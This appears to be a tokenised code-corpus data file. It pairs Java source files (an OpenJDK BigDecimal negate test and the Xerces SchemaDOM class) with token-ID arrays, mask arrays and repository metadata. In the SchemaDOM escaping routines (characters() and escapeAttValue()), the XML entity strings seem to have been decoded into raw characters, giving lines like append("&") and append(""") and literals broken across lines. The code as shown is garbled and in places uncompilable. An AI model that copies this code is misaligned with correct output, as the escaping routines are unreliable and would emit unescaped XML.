341,
682,
338,
370,
3517,
821,
434,
18694,
8220,
458,
666,
4019,
682,
338,
370,
13594,
51,
682,
338,
496,
772,
5096,
577,
906,
5096,
7408,
244,
54,
51,
53,
655,
327,
1814,
5216,
490,
575,
341,
682,
338,
370,
3517,
821,
434,
5096,
4492,
904,
666,
3322,
51,
682,
338,
496,
772,
5437,
906,
5437,
13079,
391,
341,
2016,
51,
244,
1691,
682,
338,
370,
2038,
904,
1307,
5437,
49,
580,
9912,
545,
619,
3517,
682,
338,
370,
18198,
1319,
51,
682,
588,
353,
581,
782,
1496,
1325,
45,
633,
33629,
2708,
1985,
4908,
49,
910,
8219,
49,
910,
2212,
577,
49,
910,
5096,
577,
49,
18198,
5437,
46,
343,
2589,
1105,
51,
2608,
51,
31965,
51,
42188,
1002,
353,
320,
303,
1175,
910,
1074,
3033,
64,
303,
18694,
7892,
5524,
299,
556,
18694,
7892,
45,
4543,
51,
1995,
18233,
1052,
465,
758,
3303,
1811,
5097,
45,
4543,
49,
5096,
577,
49,
5437,
49,
5524,
312,
303,
910,
5216,
299,
5524,
51,
28472,
7161,
5429,
492,
303,
434,
45,
4271,
51,
3591,
4139,
1555,
2152,
303,
320,
416,
5216,
299,
5127,
416,
5524,
51,
24808,
7161,
5429,
45,
4271,
312,
303,
339,
303,
910,
41330,
3033,
299,
4908,
51,
5175,
1183,
1580,
5429,
45,
4271,
312,
303,
5524,
51,
24808,
7161,
5923,
45,
5169,
3033,
312,
303,
5216,
299,
5524,
51,
23946,
5429,
492,
303,
434,
45,
4271,
51,
3591,
4139,
1555,
2152,
303,
320,
416,
5216,
299,
5127,
416,
5524,
51,
489,
1413,
5429,
45,
4271,
312,
416,
1074,
3033,
299,
4908,
51,
5175,
1183,
1580,
5429,
45,
4271,
312,
416,
434,
45,
1710,
630,
1074,
3033,
46,
310,
4908,
51,
750,
45,
93,
3910,
89,
943,
6061,
51,
546,
100,
8614,
100,
9617,
100,
6344,
100,
5986,
100,
7331,
100,
6394,
100,
9857,
100,
7331,
100,
5815,
49,
762,
49,
762,
312,
303,
339,
303,
832,
303,
320,
310,
1074,
3033,
299,
4908,
51,
5175,
1183,
1580,
5429,
45,
4271,
312,
310,
434,
45,
1710,
630,
1074,
3033,
46,
295,
4908,
51,
750,
45,
93,
3910,
89,
943,
6061,
51,
546,
100,
8614,
100,
9617,
100,
6344,
100,
5986,
100,
7331,
100,
6394,
100,
9857,
49,
556,
2210,
1197,
320,
4271,
855,
762,
312,
303,
339,
27621,
5524,
51,
489,
1413,
5923,
45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liates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @bug 6325535
* @summary Test for the rounding behavior of negate(MathContext)
* @author Joseph D. Darcy
*/
import java.math.*;
public class NegateTests {
static BigDecimal negateThenRound(BigDecimal bd, MathContext mc) {
return bd.negate().plus(mc);
}
static BigDecimal absThenRound(BigDecimal bd, MathContext mc) {
return bd.abs().plus(mc);
}
static int negateTest(BigDecimal[][] testCases, MathContext mc) {
int failures = 0;
for (BigDecimal [] testCase : testCases) {
BigDecimal bd = testCase[0];
BigDecimal neg1 = bd.negate(mc);
BigDecimal neg2 = negateThenRound(bd, mc);
BigDecimal expected = testCase[1];
if (! neg1.equals(expected) ) {
failures++;
System.err.println("(" + bd + ").negate(" + mc + ") => " +
neg1 + " != expected " + expected);
}
if (! neg1.equals(neg2) ) {
failures++;
System.err.println("(" + bd + ").negate(" + mc + ") => " +
neg1 + " != ntr " + neg2);
}
// Test abs consistency
BigDecimal abs = bd.abs(mc);
BigDecimal expectedAbs = absThenRound(bd,mc);
if (! abs.equals(expectedAbs) ) {
failures++;
System.err.println("(" + bd + ").abs(" + mc + ") => " +
abs + " != atr " + expectedAbs);
}
}
return failures;
}
static int negateTests() {
int failures = 0;
BigDecimal [][] testCasesCeiling = {
{new BigDecimal("1.3"), new BigDecimal("-1")},
{new BigDecimal("-1.3"), new BigDecimal("2")},
};
failures += negateTest(testCasesCeiling,
new MathContext(1, RoundingMode.CEILING));
BigDecimal [][] testCasesFloor = {
{new BigDecimal("1.3"), new BigDecimal("-2")},
{new BigDecimal("-1.3"), new BigDecimal("1")},
};
failures += negateTest(testCasesFloor,
new MathContext(1, RoundingMode.FLOOR));
return failures;
}
public static void main(String argv[]) {
int failures = 0;
failures += negateTests();
if (failures > 0 )
throw new RuntimeException("Incurred " + failures + " failures" +
" testing the negate and/or abs.");
}
}
| 3,646
|
Java
|
.java
|
corretto/corretto-11
| 662
| 105
| 31
|
2019-02-11T20:13:52Z
|
2024-05-09T07:01:40Z
|
d63e66b79c33f74b21d5d8df31611ea3237e3f3fd56e8054ca3c1e9b6a51a3e7
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
53,
58,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1127,
222,
338,
496,
881,
222,
338,
496,
1468,
244,
59,
56,
55,
58,
58,
56,
58,
222,
338,
496,
1386,
2128,
456,
341,
35380,
5865,
451,
7571,
351,
45,
5728,
1237,
46,
222,
338,
496,
2133,
45357,
853,
493,
51,
35021,
2499,
222,
588,
222,
222,
485,
1401,
51,
3851,
7737,
222,
222,
942,
462,
23693,
351,
4485,
320,
465,
924,
17262,
7571,
351,
10695,
10242,
45,
20808,
25255,
49,
4189,
1237,
16544,
46,
320,
310,
461,
25255,
51,
8141,
351,
941,
5447,
45,
6070,
312,
303,
339,
4054,
924,
17262,
11397,
10695,
10242,
45,
20808,
25255,
49,
4189,
1237,
16544,
46,
320,
310,
461,
25255,
51,
3615,
941,
5447,
45,
6070,
312,
303,
339,
4054,
924,
648,
7571,
351,
1024,
45,
20808,
11338,
913,
20901,
49,
244,
4189,
1237,
16544,
46,
320,
310,
648,
19562,
299,
244,
53,
64,
603,
456,
327,
20808,
1627,
32161,
518,
913,
20901,
46,
320,
1083,
17262,
25255,
299,
32161,
96,
53,
988,
343,
17262,
7571,
54,
299,
25255,
51,
8141,
351,
45,
6070,
312,
343,
17262,
7571,
55,
299,
7571,
351,
10695,
10242,
45,
4209,
49,
16544,
312,
343,
17262,
2816,
299,
32161,
96,
54,
988,
1083,
434,
1445,
7571,
54,
51,
3591,
45,
3156,
46,
848,
320,
419,
19562,
3348,
419,
1189,
51,
549,
51,
3962,
459,
459,
494,
25255,
494,
18267,
8141,
351,
459,
494,
16544,
494,
7816,
551,
332,
494,
9129,
7571,
54,
494,
332,
882,
2816,
332,
494,
2816,
312,
343,
339,
1083,
434,
1445,
7571,
54,
51,
3591,
45,
8141,
55,
46,
848,
320,
419,
19562,
3348,
419,
1189,
51,
549,
51,
3962,
459,
459,
494,
25255,
494,
18267,
8141,
351,
459,
494,
16544,
494,
7816,
244,
551,
332,
494,
9129,
7571,
54,
494,
332,
882,
329,
378,
332,
494,
7571,
55,
312,
343,
339,
1083,
453,
2128,
11397,
25437,
343,
17262,
11397,
299,
25255,
51,
3615,
45,
6070,
312,
343,
17262,
2816,
14231,
299,
11397,
10695,
10242,
45,
4209,
49,
6070,
312,
343,
434,
1445,
11397,
51,
3591,
45,
3156,
14231,
46,
848,
320,
419,
19562,
3348,
419,
1189,
51,
549,
51,
3962,
459,
459,
494,
25255,
494,
18267,
3615,
459,
494,
16544,
494,
7816,
244,
551,
332,
494,
9129,
11397,
494,
332,
882,
840,
119,
332,
494,
244,
2816,
14231,
312,
343,
339,
603,
339,
603,
461,
19562,
64,
303,
339,
465,
924,
648,
7571,
351,
4485,
365,
320,
310,
648,
19562,
299,
244,
53,
64,
310,
17262,
30689,
913,
20901,
20846,
10943,
299,
320,
343,
320,
909,
17262,
459,
54,
51,
56,
2132,
281,
556,
17262,
10364,
54,
41012,
343,
320,
909,
17262,
10364,
54,
51,
56,
2132,
283,
556,
17262,
459,
55,
41012,
310,
1487,
603,
19562,
1475,
7571,
351,
1024,
45,
881,
20901,
20846,
10943,
49,
7723,
556,
4189,
1237,
45,
54,
49,
23037,
45041,
51,
1973,
1484,
1410,
894,
603,
17262,
30689,
913,
20901,
21142,
299,
320,
343,
320,
909,
17262,
459,
54,
51,
56,
2132,
281,
556,
17262,
10364,
55,
41012,
343,
320,
909,
17262,
10364,
54,
51,
56,
2132,
283,
556,
17262,
459,
54,
41012,
310,
1487,
603,
19562,
1475,
7571,
351,
1024,
45,
881,
20901,
21142,
49,
7723,
556,
4189,
1237,
45,
54,
49,
23037,
45041,
51,
40828,
776,
894,
603,
461,
19562,
64,
303,
339,
465,
581,
924,
782,
2594,
45,
671,
6194,
9798,
320,
310,
648,
19562,
299,
244,
53,
64,
603,
19562,
1475,
7571,
351,
4485,
492,
603,
434,
327,
33052,
868,
244,
53,
848,
343,
1440,
556,
13383,
459,
16469,
9638,
332,
494,
19562,
494,
332,
19562,
39,
494,
10013,
332,
6351,
341,
7571,
351,
480,
52,
290,
11397,
5377,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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served comment block
* DO NOT REMOVE OR ALTER!
*/
/*
* Copyright 2001-2004 The Apache Software Foundation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sun.org.apache.xerces.internal.impl.xs.opti;
import java.util.ArrayList;
import java.util.Enumeration;
import com.sun.org.apache.xerces.internal.util.XMLSymbols;
import com.sun.org.apache.xerces.internal.xni.NamespaceContext;
import com.sun.org.apache.xerces.internal.xni.QName;
import com.sun.org.apache.xerces.internal.xni.XMLAttributes;
import com.sun.org.apache.xerces.internal.xni.XMLString;
import org.w3c.dom.Attr;
import org.w3c.dom.DOMImplementation;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
/**
* @xerces.internal
*
* @author Rahul Srivastava, Sun Microsystems Inc.
* @author Sandy Gao, IBM
*
*/
public class SchemaDOM extends DefaultDocument {
static final int relationsRowResizeFactor = 15;
static final int relationsColResizeFactor = 10;
NodeImpl[][] relations;
// parent must be an element in this scheme
ElementImpl parent;
int currLoc;
int nextFreeLoc;
boolean hidden;
boolean inCDATA;
// for annotation support:
private StringBuffer fAnnotationBuffer = null;
public SchemaDOM() {
reset();
}
public ElementImpl startElement(QName element, XMLAttributes attributes,
int line, int column, int offset) {
ElementImpl node = new ElementImpl(line, column, offset);
processElement(element, attributes, node);
// now the current node added, becomes the parent
parent = node;
return node;
}
public ElementImpl emptyElement(QName element, XMLAttributes attributes,
int line, int column, int offset) {
ElementImpl node = new ElementImpl(line, column, offset);
processElement(element, attributes, node);
return node;
}
public ElementImpl startElement(QName element, XMLAttributes attributes,
int line, int column) {
return startElement(element, attributes, line, column, -1);
}
public ElementImpl emptyElement(QName element, XMLAttributes attributes,
int line, int column) {
return emptyElement(element, attributes, line, column, -1);
}
private void processElement(QName element, XMLAttributes attributes, ElementImpl node) {
// populate node
node.prefix = element.prefix;
node.localpart = element.localpart;
node.rawname = element.rawname;
node.uri = element.uri;
node.schemaDOM = this;
// set the attributes
Attr[] attrs = new Attr[attributes.getLength()];
for (int i=0; i<attributes.getLength(); i++) {
attrs[i] = new AttrImpl(node,
attributes.getPrefix(i),
attributes.getLocalName(i),
attributes.getQName(i),
attributes.getURI(i),
attributes.getValue(i));
}
node.attrs = attrs;
// check if array needs to be resized
if (nextFreeLoc == relations.length) {
resizeRelations();
}
// store the current parent
//if (relations[currLoc][0] == null || relations[currLoc][0] != parent) {
if (relations[currLoc][0] != parent) {
relations[nextFreeLoc][0] = parent;
currLoc = nextFreeLoc++;
}
// add the current node as child of parent
boolean foundPlace = false;
int i = 1;
for (i = 1; i<relations[currLoc].length; i++) {
if (relations[currLoc][i] == null) {
foundPlace = true;
break;
}
}
if (!foundPlace) {
resizeRelations(currLoc);
}
relations[currLoc][i] = node;
parent.parentRow = currLoc;
node.row = currLoc;
node.col = i;
}
public void endElement() {
// the parent of current parent node becomes the parent
// for the next node.
currLoc = parent.row;
parent = (ElementImpl)relations[currLoc][0];
}
// note that this will only be called within appinfo/documentation
void comment(XMLString text) {
fAnnotationBuffer.append("<!--");
if (text.length > 0) {
fAnnotationBuffer.append(text.ch, text.offset, text.length);
}
fAnnotationBuffer.append("-->");
}
// note that this will only be called within appinfo/documentation
void processingInstruction(String target, XMLString data) {
fAnnotationBuffer.append("<?").append(target);
if (data.length > 0) {
fAnnotationBuffer.append(' ').append(data.ch, data.offset, data.length);
}
fAnnotationBuffer.append("?>");
}
// note that this will only be called within appinfo/documentation
void characters(XMLString text) {
// escape characters if necessary
if (!inCDATA) {
final StringBuffer annotationBuffer = fAnnotationBuffer;
for (int i = text.offset; i < text.offset+text.length; ++i) {
char ch = text.ch[i];
if (ch == '&') {
annotationBuffer.append("&");
}
else if (ch == '<') {
annotationBuffer.append("<");
}
// character sequence "]]>" cannot appear in content,
// therefore we should escape '>'.
else if (ch == '>') {
annotationBuffer.append(">");
}
// If CR is part of the document's content, it
// must not be printed as a literal otherwise
// it would be normalized to LF when the document
// is reparsed.
else if (ch == '\r') {
annotationBuffer.append("
");
}
else {
annotationBuffer.append(ch);
}
}
}
else {
fAnnotationBuffer.append(text.ch, text.offset, text.length);
}
}
// note that this will only be called within appinfo/documentation
void charactersRaw(String text) {
fAnnotationBuffer.append(text);
}
void endAnnotation(QName elemName, ElementImpl annotation) {
fAnnotationBuffer.append("\n</").append(elemName.rawname).append(">");
annotation.fAnnotation = fAnnotationBuffer.toString();
// apparently, there is no sensible way of resetting these things
fAnnotationBuffer = null;
}
void endAnnotationElement(QName elemName) {
endAnnotationElement(elemName.rawname);
}
void endAnnotationElement(String elemRawName) {
fAnnotationBuffer.append("</").append(elemRawName).append(">");
}
void endSyntheticAnnotationElement(QName elemName, boolean complete) {
endSyntheticAnnotationElement(elemName.rawname, complete);
}
void endSyntheticAnnotationElement(String elemRawName, boolean complete) {
if(complete) {
fAnnotationBuffer.append("\n</").append(elemRawName).append(">");
// note that this is always called after endElement on <annotation>'s
// child and before endElement on annotation.
// hence, we must make this the child of the current
// parent's only child.
parent.fSyntheticAnnotation = fAnnotationBuffer.toString();
// apparently, there is no sensible way of resetting
// these things
fAnnotationBuffer = null;
} else //capturing character calls
fAnnotationBuffer.append("</").append(elemRawName).append(">");
}
void startAnnotationCDATA() {
inCDATA = true;
fAnnotationBuffer.append("<![CDATA[");
}
void endAnnotationCDATA() {
fAnnotationBuffer.append("]]>");
inCDATA = false;
}
private void resizeRelations() {
NodeImpl[][] temp = new NodeImpl[relations.length+relationsRowResizeFactor][];
System.arraycopy(relations, 0, temp, 0, relations.length);
for (int i = relations.length ; i < temp.length ; i++) {
temp[i] = new NodeImpl[relationsColResizeFactor];
}
relations = temp;
}
private void resizeRelations(int i) {
NodeImpl[] temp = new NodeImpl[relations[i].length+relationsColResizeFactor];
System.arraycopy(relations[i], 0, temp, 0, relations[i].length);
relations[i] = temp;
}
public void reset() {
// help out the garbage collector
if(relations != null)
for(int i=0; i<relations.length; i++)
for(int j=0; j<relations[i].length; j++)
relations[i][j] = null;
relations = new NodeImpl[relationsRowResizeFactor][];
parent = new ElementImpl(0, 0, 0);
parent.rawname = "DOCUMENT_NODE";
currLoc = 0;
nextFreeLoc = 1;
inCDATA = false;
for (int i=0; i<relationsRowResizeFactor; i++) {
relations[i] = new NodeImpl[relationsColResizeFactor];
}
relations[currLoc][0] = parent;
}
public void printDOM() {
/*
for (int i=0; i<relations.length; i++) {
if (relations[i][0] != null) {
for (int j=0; j<relations[i].length; j++) {
if (relations[i][j] != null) {
System.out.print(relations[i][j].nodeType+"-"+relations[i][j].parentRow+" ");
}
}
System.out.println("");
}
}
*/
//traverse(getDocumentElement(), 0);
}
// debug methods
public static void traverse(Node node, int depth) {
indent(depth);
System.out.print("<"+node.getNodeName());
if (node.hasAttributes()) {
NamedNodeMap attrs = node.getAttributes();
for (int i=0; i<attrs.getLength(); i++) {
System.out.print(" "+((Attr)attrs.item(i)).getName()+"=\""+((Attr)attrs.item(i)).getValue()+"\"");
}
}
if (node.hasChildNodes()) {
System.out.println(">");
depth+=4;
for (Node child = node.getFirstChild(); child != null; child = child.getNextSibling()) {
traverse(child, depth);
}
depth-=4;
indent(depth);
System.out.println("</"+node.getNodeName()+">");
}
else {
System.out.println("/>");
}
}
public static void indent(int amount) {
for (int i = 0; i < amount; i++) {
System.out.print(' ');
}
}
// org.w3c.dom methods
public Element getDocumentElement() {
// this returns a parent node, known to be an ElementImpl
return (ElementImpl)relations[0][1];
}
public DOMImplementation getImplementation() {
return SchemaDOMImplementation.getDOMImplementation();
}
// commence the serialization of an annotation
void startAnnotation(QName elemName, XMLAttributes attributes,
NamespaceContext namespaceContext) {
startAnnotation(elemName.rawname, attributes, namespaceContext);
}
void startAnnotation(String elemRawName, XMLAttributes attributes,
NamespaceContext namespaceContext) {
if(fAnnotationBuffer == null) fAnnotationBuffer = new StringBuffer(256);
fAnnotationBuffer.append("<").append(elemRawName).append(" ");
// attributes are a bit of a pain. To get this right, we have to keep track
// of the namespaces we've seen declared, then examine the namespace context
// for other namespaces so that we can also include them.
// optimized for simplicity and the case that not many
// namespaces are declared on this annotation...
ArrayList namespaces = new ArrayList();
for (int i = 0; i < attributes.getLength(); ++i) {
String aValue = attributes.getValue(i);
String aPrefix = attributes.getPrefix(i);
String aQName = attributes.getQName(i);
// if it's xmlns:* or xmlns, must be a namespace decl
if (aPrefix == XMLSymbols.PREFIX_XMLNS || aQName == XMLSymbols.PREFIX_XMLNS) {
namespaces.add(aPrefix == XMLSymbols.PREFIX_XMLNS ?
attributes.getLocalName(i) : XMLSymbols.EMPTY_STRING);
}
fAnnotationBuffer.append(aQName).append("=\"").append(processAttValue(aValue)).append("\" ");
}
// now we have to look through currently in-scope namespaces to see what
// wasn't declared here
Enumeration currPrefixes = namespaceContext.getAllPrefixes();
while(currPrefixes.hasMoreElements()) {
String prefix = (String)currPrefixes.nextElement();
String uri = namespaceContext.getURI(prefix);
if (uri == null) {
uri = XMLSymbols.EMPTY_STRING;
}
if (!namespaces.contains(prefix)) {
// have to declare this one
if(prefix == XMLSymbols.EMPTY_STRING) {
fAnnotationBuffer.append("xmlns").append("=\"").append(processAttValue(uri)).append("\" ");
}
else {
fAnnotationBuffer.append("xmlns:").append(prefix).append("=\"").append(processAttValue(uri)).append("\" ");
}
}
}
fAnnotationBuffer.append(">\n");
}
void startAnnotationElement(QName elemName, XMLAttributes attributes) {
startAnnotationElement(elemName.rawname, attributes);
}
void startAnnotationElement(String elemRawName, XMLAttributes attributes) {
fAnnotationBuffer.append("<").append(elemRawName);
for(int i=0; i<attributes.getLength(); i++) {
String aValue = attributes.getValue(i);
fAnnotationBuffer.append(" ").append(attributes.getQName(i)).append("=\"").append(processAttValue(aValue)).append("\"");
}
fAnnotationBuffer.append(">");
}
private static String processAttValue(String original) {
final int length = original.length();
// normally, nothing will happen
for (int i = 0; i < length; ++i) {
char currChar = original.charAt(i);
if (currChar == '"' || currChar == '<' || currChar == '&' ||
currChar == 0x09 || currChar == 0x0A || currChar == 0x0D) {
return escapeAttValue(original, i);
}
}
return original;
}
private static String escapeAttValue(String original, int from) {
int i;
final int length = original.length();
StringBuffer newVal = new StringBuffer(length);
newVal.append(original.substring(0, from));
for (i = from; i < length; ++i) {
char currChar = original.charAt(i);
if (currChar == '"') {
newVal.append(""");
}
else if (currChar == '<') {
newVal.append("<");
}
else if (currChar == '&') {
newVal.append("&");
}
// Must escape 0x09, 0x0A and 0x0D if they appear in attribute
// value so that they may be round-tripped. They would otherwise
// be transformed to a 0x20 during attribute value normalization.
else if (currChar == 0x09) {
newVal.append("	");
}
else if (currChar == 0x0A) {
newVal.append("
");
}
else if (currChar == 0x0D) {
newVal.append("
");
}
else {
newVal.append(currChar);
}
}
return newVal.toString();
}
}
| 16,435
|
Java
|
.java
|
adoptium/jdk8u_hg
| 12
| 12
| 1
|
2021-04-27T16:13:23Z
|
2021-11-30T00:11:09Z
|
929c25fe709b22a23726ccaba38c2fe0e095ceb4006f4f531c80fab645912b09
|
[
1127,
222,
338,
5225,
5101,
2181,
222,
338,
4103,
2387,
35234,
1895,
23740,
38,
222,
588,
222,
1127,
222,
338,
2657,
244,
55,
53,
53,
54,
50,
55,
53,
53,
57,
906,
3954,
3870,
7120,
51,
222,
338,
222,
338,
4773,
1549,
341,
3954,
1196,
49,
3050,
244,
55,
51,
53,
327,
1402,
332,
3801,
742,
222,
338,
863,
1648,
666,
813,
477,
822,
2959,
347,
4960,
642,
341,
1196,
51,
222,
338,
2469,
1648,
4245,
331,
1948,
451,
341,
1196,
840,
222,
338,
222,
338,
665,
1930,
574,
1516,
51,
2121,
51,
1107,
52,
4205,
52,
4106,
50,
55,
51,
53,
222,
338,
222,
338,
5416,
2147,
829,
4568,
4940,
575,
5129,
391,
347,
4144,
49,
2951,
222,
338,
2744,
1549,
341,
1196,
458,
2744,
563,
619,
332,
1117,
2771,
39,
5128,
49,
222,
338,
4213,
3912,
1895,
5186,
2258,
2979,
4489,
49,
3173,
3927,
575,
4506,
51,
222,
338,
2819,
341,
1196,
456,
341,
2835,
2940,
5139,
4243,
480,
222,
338,
5191,
1549,
341,
1196,
51,
222,
588,
222,
222,
1337,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
3126,
51,
4913,
51,
2238,
110,
64,
222,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
21933,
64,
222,
222,
485,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
1058,
51,
5741,
19882,
64,
222,
485,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
125,
5177,
51,
5923,
1237,
64,
222,
485,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
125,
5177,
51,
25553,
64,
222,
485,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
125,
5177,
51,
5741,
5097,
64,
222,
485,
785,
51,
9886,
51,
1107,
51,
2121,
51,
13141,
1109,
51,
3269,
51,
125,
5177,
51,
5741,
671,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
5884,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
8869,
14631,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
1325,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
11061,
1230,
1225,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
1230,
64,
222,
222,
1350,
222,
338,
496,
13141,
1109,
51,
3269,
222,
338,
222,
338,
496,
2133,
578,
2389,
357,
377,
774,
652,
937,
49,
21437,
18168,
17575,
6367,
51,
222,
338,
496,
2133,
377,
29705,
590,
3370,
49,
25747,
222,
338,
222,
588,
222,
942,
462,
9051,
8869,
2041,
4119,
3112,
320,
465,
924,
1175,
648,
28273,
2368,
14595,
9176,
299,
244,
54,
58,
64,
303,
924,
1175,
648,
28273,
889,
14595,
9176,
299,
244,
54,
53,
64,
465,
4021,
3499,
11338,
28273,
64,
303,
453,
2952,
2315,
545,
619,
2016,
347,
477,
12872,
303,
6840,
3499,
2952,
64,
303,
648,
9986,
1624,
64,
303,
648,
2371,
7023,
1624,
64,
303,
1922,
6862,
64,
303,
1922,
347,
40801,
64,
465,
453,
456,
11208,
2208,
63,
303,
964,
21917,
315,
7945,
2030,
299,
762,
64,
465,
581,
9051,
8869,
365,
320,
310,
5672,
492,
303,
339,
4054,
581,
6840,
3499,
1496,
1325,
45,
25553,
2016,
49,
7408,
5097,
5437,
49,
343,
648,
1646,
49,
648,
2656,
49,
648,
3413,
46,
320,
310,
6840,
3499,
1560,
299,
556,
6840,
3499,
45,
948,
49,
2656,
49,
3413,
312,
310,
2183,
1325,
45,
2559,
49,
5437,
49,
1560,
312,
310,
453,
2483,
341,
1565,
1560,
3654,
49,
16675,
341,
2952,
310,
2952,
299,
1560,
64,
310,
461,
1560,
64,
303,
339,
465,
581,
6840,
3499,
3517,
1325,
45,
25553,
2016,
49,
7408,
5097,
5437,
49,
343,
648,
1646,
49,
648,
2656,
49,
648,
3413,
46,
320,
310,
6840,
3499,
1560,
299,
556,
6840,
3499,
45,
948,
49,
2656,
49,
3413,
312,
310,
2183,
1325,
45,
2559,
49,
5437,
49,
1560,
312,
310,
461,
1560,
64,
303,
339,
465,
581,
6840,
3499,
1496,
1325,
45,
25553,
2016,
49,
7408,
5097,
5437,
49,
343,
648,
1646,
49,
648,
2656,
46,
320,
310,
461,
1496,
1325,
45,
2559,
49,
5437,
49,
1646,
49,
2656,
49,
449,
54,
312,
303,
339,
465,
581,
6840,
3499,
3517,
1325,
45,
25553,
2016,
49,
7408,
5097,
5437,
49,
343,
648,
1646,
49,
648,
2656,
46,
320,
310,
461,
3517,
1325,
45,
2559,
49,
5437,
49,
1646,
49,
2656,
49,
449,
54,
312,
303,
339,
465,
964,
782,
2183,
1325,
45,
25553,
2016,
49,
7408,
5097,
5437,
49,
6840,
3499,
1560,
46,
320,
603,
453,
18985,
1560,
310,
1560,
51,
4271,
299,
2016,
51,
4271,
64,
310,
1560,
51,
1717,
2068,
299,
2016,
51,
1717,
2068,
64,
310,
1560,
51,
1312,
444,
299,
2016,
51,
1312,
444,
64,
310,
1560,
51,
3469,
299,
2016,
51,
3469,
64,
310,
1560,
51,
3982,
8869,
299,
477,
64,
603,
453,
758,
341,
5437,
310,
29465,
1197,
11768,
299,
556,
29465,
96,
5855,
51,
30031,
22061,
310,
456,
327,
429,
613,
66,
53,
64,
613,
65,
5855,
51,
30031,
492,
613,
2002,
320,
343,
11768,
96,
110,
98,
299,
556,
29465,
3499,
45,
1271,
49,
